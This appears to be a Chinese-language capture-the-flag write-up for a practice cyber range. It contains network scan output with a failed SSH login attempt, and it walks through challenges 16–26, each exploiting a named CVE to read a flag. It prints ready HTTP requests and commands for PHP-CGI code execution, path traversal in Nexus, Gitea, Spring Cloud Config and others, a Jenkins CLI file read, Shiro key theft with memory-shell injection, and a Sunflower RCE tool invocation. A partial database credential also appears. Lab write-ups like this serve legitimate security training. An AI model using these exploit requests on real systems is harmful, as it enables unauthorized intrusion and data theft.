已完成 91/92 [-] ssh 192.168.10.100:22 admin 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 92/92

# 192.168.11.0/24

(icmp) Target 192.168.11.211  is alive
(icmp) Target 192.168.11.200  is alive
(icmp) Target 192.168.11.253  is alive
[*] Icmp alive hosts len is: 3
192.168.11.211:22 open
192.168.11.211:80 open
192.168.11.211:3000 open
192.168.11.211:3001 open
192.168.11.200:3389 open
192.168.11.211:5355 open
192.168.11.200:5985 open
192.168.11.200:5986 open
192.168.11.211:8080 open
192.168.11.211:8888 open
192.168.11.211:9001 open
192.168.11.211:9000 open
192.168.11.211:9002 open
192.168.11.211:23306 open
192.168.11.211:26379 open
192.168.11.200:49751 open
[*] alive ports len is: 16
start vulscan
[*] WebTitle http://192.168.11.200:5985 code:404 len:315    title:Not Found
[*] WebTitle http://192.168.11.211:9002 code:200 len:1407   title:Nginx UI
[*] WebTitle http://192.168.11.211:9001 code:200 len:1309   title:MinIO Console
[*] WebTitle http://192.168.11.211:8080 code:200 len:49     title:None
[*] WebTitle http://192.168.11.211:3000 code:302 len:29     title:None 跳转url: http://192.168.11.211:3000/login
[*] WebTitle http://192.168.11.211     code:200 len:296    title:Taozi Range — Frontend Stub
[*] WebTitle http://192.168.11.211:3001 code:307 len:6      title:None 跳转url: http://192.168.11.211:3001/login
[*] WebTitle http://192.168.11.211:9000 code:307 len:62     title:None 跳转url: http://192.168.11.211:9001
[*] WebTitle http://192.168.11.211:8888 code:404 len:866    title:Error 404 - Not Found
[*] WebTitle http://192.168.11.211:9001 code:200 len:1309   title:MinIO Console
[*] WebTitle http://192.168.11.211:3000/login code:200 len:38246  title:Grafana
[*] WebTitle http://192.168.11.211:3001/login code:200 len:5727   title:Admin Dashboard
[*] WebTitle https://192.168.11.200:5986 code:404 len:315    title:Not Found
[*] WebTitle http://192.168.11.200:49751 code:200 len:46     title:None
[+] InfoScan http://192.168.11.200:49751 [向日葵]

# 16 ruoyi-shiro-rce

192.168.10.100:30888是一个后台管理系统

扫目录发现/actuator/heapdump路由可访问

下载heapdump，用JDumpSpider拿到shiro key

# 17 mysql-db-flag

若依的heapdump中可看到数据库配置

4r2d56ysj65gvdfh87r4, database = ry, origHostToConnectTo = localhost, user = root]

利用shiro注入冰蝎内存马，用冰蝎的数据库管理工具查看

# 18 phpcgi-rce

192.168.10.100:30889是一个PHP网站，存在cve-2012-1823

https://github.com/vulhub/vulhub/blob/master/php/CVE-2012-1823/README.zh-cn.md

构造请求拿flag

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.10.100:30889
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

<?php echo file_get_contents("/flag"); ?>

# 19 nexus-traversal

192.168.10.100:30808是Nexus服务

版本3.68.0，存在cve-2024-4956路径穿越
vulhub/nexus/CVE-2024-4956/README.zh-cn.md at master · vulhub/vulhub

构造请求

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag HTTP/1.1
Host: 192.168.10.100:30808
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

# 20 jenkins-file-read

192.168.10.100:30810是一个Jenkins服务

版本2.441，存在cve-2024-23897任意文件读取
vulhub/jenkins/CVE-2024-23897/README.zh-cn.md at master · vulhub/vulhub

在网站路径/jnlpJars/jenkins-cli.jar直接下载cli工具

读取flag（java版本要为17，并且该漏洞匿名情况下只能读取第一行）

java -jar jenkins-cli.jar -s http://192.168.10.100:30810/ -http help 1 "@/flag"

# 21 gitea-lfi

192.168.10.100:30812是Gitea服务，存在一个默认的vulhub/repo项目

存在Gitea 1.4.0 目录穿越导致命令执行漏洞
https://github.com/vulhub/vulhub/blob/master/gitea/1.4-rce/README.zh-cn.md

这里使用任意文件读取

POST /vulhub/repo.git/info/lfs/objects HTTP/1.1
Host: 192.168.10.100:30812
Accept-Encoding: gzip, deflate
Accept: application/vnd.git-lfs+json
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 151

{
    "Oid": "....../../../flag",
    "Size": 1000000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
}

GET /vulhub/repo.git/info/lfs/objects/......%2F..%2F..%2Fflag/sth HTTP/1.1
Host: 192.168.10.100:30812
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gitea=e6ec17cbb9d61599; _csrf=xmMkHlVg1cnevjRh79woqmq-OsQ6MTc4MTQ3MTk0NjU4MDM5Mjc5NA%3D%3D
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

# 22 springconfig-traversal

192.168.10.100:30567是Spring服务

存在CVE-2020-5410 目录遍历漏洞
https://www.cnblogs.com/thelostworld/p/14422110.html

curl -sk "http://192.168.10.100:30567/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fflag%23foo/development"

# 23 elasticsearch-lfi

192.168.10.100:30811是ES服务

存在ElasticSearch 插件目录穿越漏洞CVE-2015-3337
vulhub/elasticsearch/CVE-2015-3337/README.zh-cn.md at master · vulhub/vulhub

直接路径穿越读flag

# 24 flink-lfi

192.168.10.100:30880是Flink服务

版本1.11.2，存在CVE-2020-17519
vulhub/flink/CVE-2020-17519/README.zh-cn.md at master · vulhub/vulhub

同样是直接路径穿越读flag

# 25 node-traversal

192.168.10.100:30300为Node服务

演都不演了，CVE-2017-14849
vulhub/node/CVE-2017-14849/README.zh-cn.md at master · vulhub/vulhub

直接路径穿越

# 26 windows-sunflower-rce

[+] InfoScan http://192.168.11.200:49751 [向日葵]

利用RCE工具执行命令

./sunRce -t rce -h 192.168.11.200 -p 49751 -c pwd

flag在用户桌面